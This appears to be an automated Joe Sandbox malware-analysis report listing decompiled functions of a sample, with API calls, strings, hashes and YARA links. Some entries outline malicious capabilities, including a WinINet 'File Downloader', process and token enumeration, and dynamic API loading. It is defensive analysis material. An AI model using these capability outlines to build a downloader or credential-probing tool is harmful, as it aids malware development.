Opcode Fuzzy Hash: b9025721b4734cf216ff9161dcb72c60a7b93c9289a9a52723133faa327573b8
Instruction Fuzzy Hash:

Function 00000001400D00F8 Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d86e3ee49bece079fed1a8dafc567eba119ae3c71a3d36371c2989893f02372
Instruction ID: 62b65cd507f7fc6337e7e282158079c2d2517fe4007b7e964c035561b45bb801
Opcode Fuzzy Hash: 1d86e3ee49bece079fed1a8dafc567eba119ae3c71a3d36371c2989893f02372
Instruction Fuzzy Hash:

Function 00007FF6350EC1E0 Relevance: 33.1, APIs: 11, Strings: 11, Instructions: 88stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350EC1EF
strcmp.MSVCRT ref: 00007FF6350EC206
strcmp.MSVCRT ref: 00007FF6350EC21D
strcmp.MSVCRT ref: 00007FF6350EC234
strcmp.MSVCRT ref: 00007FF6350EC24B
strcmp.MSVCRT ref: 00007FF6350EC262
strcmp.MSVCRT ref: 00007FF6350EC279
strcmp.MSVCRT ref: 00007FF6350EC290
strcmp.MSVCRT ref: 00007FF6350EC2A7
strcmp.MSVCRT ref: 00007FF6350EC2BA
strcmp.MSVCRT ref: 00007FF6350EC2CD

Strings

upper, xrefs: 00007FF6350EC2B0
xdigit, xrefs: 00007FF6350EC2C3
alnum, xrefs: 00007FF6350EC1E5
digit, xrefs: 00007FF6350EC22A
punct, xrefs: 00007FF6350EC286
alpha, xrefs: 00007FF6350EC1FC
print, xrefs: 00007FF6350EC26F
lower, xrefs: 00007FF6350EC258
space, xrefs: 00007FF6350EC29D
cntrl, xrefs: 00007FF6350EC213
graph, xrefs: 00007FF6350EC241

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: alnum$alpha$cntrl$digit$graph$lower$print$punct$space$upper$xdigit
API String ID: 1004003707-2937198513
Opcode ID: e67547db2ed2332a7f19e7dca95a45f00ddd27835b6d9e5c57363dc607d87d2e
Instruction ID: f71eb460d39ce777c2baf9b443ff1fad73d9ca7c51e0885a8473b90cc40a1de3
Opcode Fuzzy Hash: e67547db2ed2332a7f19e7dca95a45f00ddd27835b6d9e5c57363dc607d87d2e
Instruction Fuzzy Hash: 7031C294A2CB0351FA259BA9A9013751291AF44B80FA86032D90EC77D1EF6FFD44F21A

Function 000000014006CB30 Relevance: 28.7, APIs: 19, Instructions: 177processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000000014006CB86
Process32FirstW.KERNEL32 ref: 000000014006CBCA
Process32NextW.KERNEL32 ref: 000000014006CBDF
OpenProcess.KERNEL32 ref: 000000014006CC1B
OpenProcessToken.ADVAPI32 ref: 000000014006CC42
GetTokenInformation.ADVAPI32 ref: 000000014006CC6E
GetLastError.KERNEL32 ref: 000000014006CC7C
GetTokenInformation.ADVAPI32 ref: 000000014006CCBC
ConvertSidToStringSidA.ADVAPI32 ref: 000000014006CCD3
CloseHandle.KERNEL32 ref: 000000014006CD46
CloseHandle.KERNEL32 ref: 000000014006CD51
CloseHandle.KERNEL32 ref: 000000014006CDB6
Process32NextW.KERNEL32 ref: 000000014006CDC3
CloseHandle.KERNEL32 ref: 000000014006CDE9
CloseHandle.KERNEL32 ref: 000000014006CDF2
CloseHandle.KERNEL32 ref: 000000014006CE07

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseHandle$Process32Token$InformationNextOpenProcess$ConvertCreateErrorFirstLastSnapshotStringToolhelp32
String ID:
API String ID: 3925315391-0
Opcode ID: 28d5614d1b63fd56c69144723d55c5c830bd806274e720f9e0f5563932fef6bd
Instruction ID: 908b3fb2f10a476486f2afa562155bdad7c3f4e7f03717297370fe69586da0b9
Opcode Fuzzy Hash: 28d5614d1b63fd56c69144723d55c5c830bd806274e720f9e0f5563932fef6bd
Instruction Fuzzy Hash: 0D815B36214B8082EB528B67F8407AEA7A5FB8CBD4F504125EF8D57B68DF78C546CB00

Function 00007FF6350EB8D0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 143COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF6350EB9A5
abort.MSVCRT ref: 00007FF6350EB9AB
RtlUnwindEx.KERNEL32 ref: 00007FF6350EBAC1

Strings

CCG", xrefs: 00007FF6350EB932
CCG!, xrefs: 00007FF6350EB998
CCG , xrefs: 00007FF6350EB93E
CCG , xrefs: 00007FF6350EBB26
CCG!, xrefs: 00007FF6350EB8F9

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3297834124
Opcode ID: e45fc8471f7cc306109c62edf8b254349e2b495fbaec3812b0675ed500c917f7
Instruction ID: 6e7f51565e7276fb62d208b80ff55695b1154ac25fb5302a949651b587e4cc50
Opcode Fuzzy Hash: e45fc8471f7cc306109c62edf8b254349e2b495fbaec3812b0675ed500c917f7
Instruction Fuzzy Hash: AC51D532A19F8282E7608B15E4847A97370F799B98F206236EE8D53758DF3DD9C1C700

Function 00007FF6350EFFD0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 446COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350F02B5

Strings

UUUU, xrefs: 00007FF6350F00FE

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID: UUUU
API String ID: 1992160199-1798160573
Opcode ID: f77c88ed8e2e0546aa95018f39101ab1acda64fb455bfe48ab528bf610eb644e
Instruction ID: 482aac109ab6f377012c22f81a8edcb49d8ca1d92ae7e88f874ed7a3bf2bdd89
Opcode Fuzzy Hash: f77c88ed8e2e0546aa95018f39101ab1acda64fb455bfe48ab528bf610eb644e
Instruction Fuzzy Hash: 6212327290920386E7658F24C66077D37E1EB95F58F248235CA0A873C9DF3AEC41EB58

Function 000000014008D888 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014008D8B7
_invalid_parameter_noinfo.LIBCMT ref: 000000014008D98D

Strings

0, xrefs: 000000014008D9BC
0, xrefs: 000000014008DA8B
0, xrefs: 000000014008DA75
0, xrefs: 000000014008D9CE

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0$0$0
API String ID: 3215553584-3558443385
Opcode ID: 820a670e8a4c89272beb14fa381d703c25652b067f448a1dd3f9a95a31db95ef
Instruction ID: d87fa4e986523d27df80953172b62b0dd486bbfc2844426163fd634f79108b30
Opcode Fuzzy Hash: 820a670e8a4c89272beb14fa381d703c25652b067f448a1dd3f9a95a31db95ef
Instruction Fuzzy Hash: 77F1E13320AA958AF7639F2BD4503ED3BA5B359BD0F988203E788477A6D739C655C301

Function 00007FF6350EADC0 Relevance: 16.6, APIs: 11, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6350EAE21
TlsGetValue.KERNEL32(?,?,?,00007FF6350EA375), ref: 00007FF6350EAE4A
GetLastError.KERNEL32(?,?,?,00007FF6350EA375), ref: 00007FF6350EAE4F
LeaveCriticalSection.KERNEL32 ref: 00007FF6350EAE77
free.MSVCRT ref: 00007FF6350EAEB7
DeleteCriticalSection.KERNEL32 ref: 00007FF6350EAEDD
InitializeCriticalSection.KERNEL32 ref: 00007FF6350EAF77

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorInitializeLastLeaveValuefree
String ID:
API String ID: 100439675-0
Opcode ID: 30aa02ae5bca33457ef710422f6a64a41ac8ead17b866e7ea412da05448c15c7
Instruction ID: 1b53aad3b5cb08816140aeb0545ebf3b5171a372b1c77aa8c69b4053391681e4
Opcode Fuzzy Hash: 30aa02ae5bca33457ef710422f6a64a41ac8ead17b866e7ea412da05448c15c7
Instruction Fuzzy Hash: 95411F21F1DA0386FA559F51E8882B863A0AF59F95F586439CD0DD7394EF3DEC81AB00

Function 0000000140072940 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000001400729BD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000140072A05
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140072B81
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140072B94
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140072B9A

Strings

true, xrefs: 0000000140072ABC
bad locale name, xrefs: 0000000140072B87
false, xrefs: 0000000140072A8D

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: b81455ee279bb28e8e8712468458e33b6ce7e424ae8ef3805a8fec1f82de7b71
Instruction ID: e066986b790d9d11d0d243cedda6a3cc5bafb9ebfb83a164bf58ddc58a77a579
Opcode Fuzzy Hash: b81455ee279bb28e8e8712468458e33b6ce7e424ae8ef3805a8fec1f82de7b71
Instruction Fuzzy Hash: 35711932711B408AFB16DFA2E4503EC33B5EB98788F044529AF4927BAADF38C555D385

Function 0000000140090D64 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000140090DA8
_invalid_parameter_noinfo.LIBCMT ref: 0000000140091180
_invalid_parameter_noinfo.LIBCMT ref: 000000014009142B

Strings

p, xrefs: 0000000140090E5A
f, xrefs: 0000000140090ECA
0, xrefs: 00000001400911D0
p, xrefs: 0000000140090ED2

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: 424b79af020e58dd710012948c1de64fe2c08c3ce7a620c69024c20bdefc1009
Instruction ID: 7a1535432eec6c5026fa7d0a87deccdfacc68b181622ded096d4695016ab780a
Opcode Fuzzy Hash: 424b79af020e58dd710012948c1de64fe2c08c3ce7a620c69024c20bdefc1009
Instruction Fuzzy Hash: 1212D13270824296FB266B17E0547FEB6A2F3C87D4F988116F79647AE4D738C980CB50

Function 00007FF6350EA530 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF6350EA64B

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF6350EA567
Address %p has no image-section, xrefs: 00007FF6350EA5A2, 00007FF6350EA6F5
VirtualProtect failed with code 0x%x, xrefs: 00007FF6350EA6BE
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6350EA6E1

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: ba1ad689428b48396fa565d55f37374c51d177facfa230d2a8edbf84c3bf7fa1
Instruction ID: 4499e7f57bc1f9d802de70e7a4dcf68b97c97e97816d5f03b308522f1139257a
Opcode Fuzzy Hash: ba1ad689428b48396fa565d55f37374c51d177facfa230d2a8edbf84c3bf7fa1
Instruction Fuzzy Hash: C251CE72B18B4782EB108B11E8446A977A0FB8AF94F545135DE4C97394EF3DEC86E740

Function 00000001400993D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000000014009954F
GetProcAddress.KERNEL32 ref: 000000014009955B

Strings

ext-ms-, xrefs: 00000001400994AC
api-ms-, xrefs: 0000000140099499

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: ae679bdfceee675f1571733c1c63cbbbec3b6b3dc0e35fb4a25fe1e49f4f57a7
Instruction ID: 76867b2f50e267d13f3c23fb1344ffb9304965bf71fdab833d42e5d4e69427de
Opcode Fuzzy Hash: ae679bdfceee675f1571733c1c63cbbbec3b6b3dc0e35fb4a25fe1e49f4f57a7
Instruction Fuzzy Hash: 01418172311A4082FB17DB1BA9147DA6395BB5DBE0F494229BF1D8B7A8EE3CC4468340

Function 00007FF6350F0800 Relevance: 12.4, APIs: 8, Instructions: 355COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350F0AB5

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: f294bb9004327c1bec0d0349a18b948e00fe3e45a64ad46b07d7e6d5aa7348cc
Instruction ID: 353da27722c9ed2e071d43f128b140831d6632abf57c02b84b759ce5b215a4b6
Opcode Fuzzy Hash: f294bb9004327c1bec0d0349a18b948e00fe3e45a64ad46b07d7e6d5aa7348cc
Instruction Fuzzy Hash: 3BE173B2A1920386E7648F25D26073937E2EB44F58F258235CB4A87788DF3EEC41DB44

Function 0000000140072D70 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 0000000140072DDB
InternetOpenUrlA.WININET ref: 0000000140072E10
InternetReadFile.WININET ref: 0000000140072E31
InternetReadFile.WININET ref: 0000000140072E6F
InternetCloseHandle.WININET ref: 0000000140072E7C
InternetCloseHandle.WININET ref: 0000000140072E85

Strings

File Downloader, xrefs: 0000000140072DD4

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Internet$CloseFileHandleOpenRead
String ID: File Downloader
API String ID: 4038090926-3631955488
Opcode ID: 210ff5028c4d6a4313cb91af622c9ef4241b8e7ae994910c4c878489564db72a
Instruction ID: 5fa8a96f82adfbe2566a4b915101b8e54a631cf06f5522793a8622ffc361334d
Opcode Fuzzy Hash: 210ff5028c4d6a4313cb91af622c9ef4241b8e7ae994910c4c878489564db72a
Instruction Fuzzy Hash: 64312632214A8086EB228F26F95079EB7A0FB89BC4F545125FF8943B68DF7CC5958B00

Function 00007FF6350D2F30 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 76libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6350D2F81
GetProcAddress.KERNEL32 ref: 00007FF6350D2FD0
wcslen.MSVCRT ref: 00007FF6350D3016

Strings

4.&., xrefs: 00007FF6350D2FA8
basic_string: construction from null is not valid, xrefs: 00007FF6350D3050
TEMP, xrefs: 00007FF6350D2FD6
J, xrefs: 00007FF6350D2F8F

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressLibraryLoadProcwcslen
String ID: 4.&.$J$TEMP$basic_string: construction from null is not valid
API String ID: 1064947497-679671853
Opcode ID: 2b3813a550977f849a814cab301f845937e69ffc04f6b1439139e8e5e0fef5e4
Instruction ID: a03100e5c67529c8f01566af6209ccbfc0ea920a9bd610258d39bd684afcf0e8
Opcode Fuzzy Hash: 2b3813a550977f849a814cab301f845937e69ffc04f6b1439139e8e5e0fef5e4
Instruction Fuzzy Hash: A531A472A19B8792EB119B24E4002AEB7A0FF85F84F404532DA4D57B58EF3DD907DB00

Function 00007FF6350EBBF0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF6350EBC22
RaiseException.KERNEL32 ref: 00007FF6350EBC44
abort.MSVCRT ref: 00007FF6350EBC70
RaiseException.KERNEL32 ref: 00007FF6350EBCB7

Strings

CCG", xrefs: 00007FF6350EBC3F
CCG", xrefs: 00007FF6350EBCB2
CCG , xrefs: 00007FF6350EBC1D

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionRaise$abort
String ID: CCG $CCG"$CCG"
API String ID: 3325032505-1179968548
Opcode ID: dc1771becb5f7d7a174ac4ee873c316158b39dbcf1eb3e3089c99a13fe7347f6
Instruction ID: 0eba2e94c9723c6274806e7588a51e0f1c7663af7ed286570949b665db499ca6
Opcode Fuzzy Hash: dc1771becb5f7d7a174ac4ee873c316158b39dbcf1eb3e3089c99a13fe7347f6
Instruction Fuzzy Hash: 3C216072A25B85C3E3508B54E4403A96760F7D9B88F20A226EA8D47364EF7AC5928700

Function 00007FF6350F5C10 Relevance: 11.5, APIs: 9, Instructions: 204COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF6350F5C87
LeaveCriticalSection.KERNEL32 ref: 00007FF6350F5CBD

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalLeaveSectionfree
String ID:
API String ID: 1679108487-0
Opcode ID: 95fe868276fcc675441e8b6bcbd2e592402446384d147c482bf95a0a74b21bb4
Instruction ID: bcc4cc87cb44d4e78078d298d563e119d95b51233c3143f2dbf18795860a7603
Opcode Fuzzy Hash: 95fe868276fcc675441e8b6bcbd2e592402446384d147c482bf95a0a74b21bb4
Instruction Fuzzy Hash: 51916B31E1AB4389FB24DB54E99427922E1AF44F84F494536CA0E87798EF3DFC51A384

Function 00007FF6350D2600 Relevance: 10.6, APIs: 7, Instructions: 105stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6350D26EA
strcpy_s.MSVCRT ref: 00007FF6350D272E
strcpy_s.MSVCRT ref: 00007FF6350D2741
strcpy_s.MSVCRT ref: 00007FF6350D274F
_strlwr.MSVCRT ref: 00007FF6350D2755
_strlwr.MSVCRT ref: 00007FF6350D275E
strstr.MSVCRT ref: 00007FF6350D276A

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcpy_s$_strlwr$ByteCharMultiWidestrstr
String ID:
API String ID: 606828236-0
Opcode ID: c9a725f9162f59c41cee2fa39016cf96b5296817a48e5951eed084d6514580bc
Instruction ID: 21a59cb7d5380c64662b73715df233f9a1364ac0d07b555898739314b17db6d6
Opcode Fuzzy Hash: c9a725f9162f59c41cee2fa39016cf96b5296817a48e5951eed084d6514580bc
Instruction Fuzzy Hash: A641BD72608BC286EB218F16F9407AAB7A5FB89BD4F440125EE8D43B98CF7DD941D700

Function 00007FF6350D4350 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350D440C
strcmp.MSVCRT ref: 00007FF6350D445C

Strings

h}/9, xrefs: 00007FF6350D442B
B, xrefs: 00007FF6350D43C6
I^2$, xrefs: 00007FF6350D437A
B, xrefs: 00007FF6350D4415
B, xrefs: 00007FF6350D4382

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
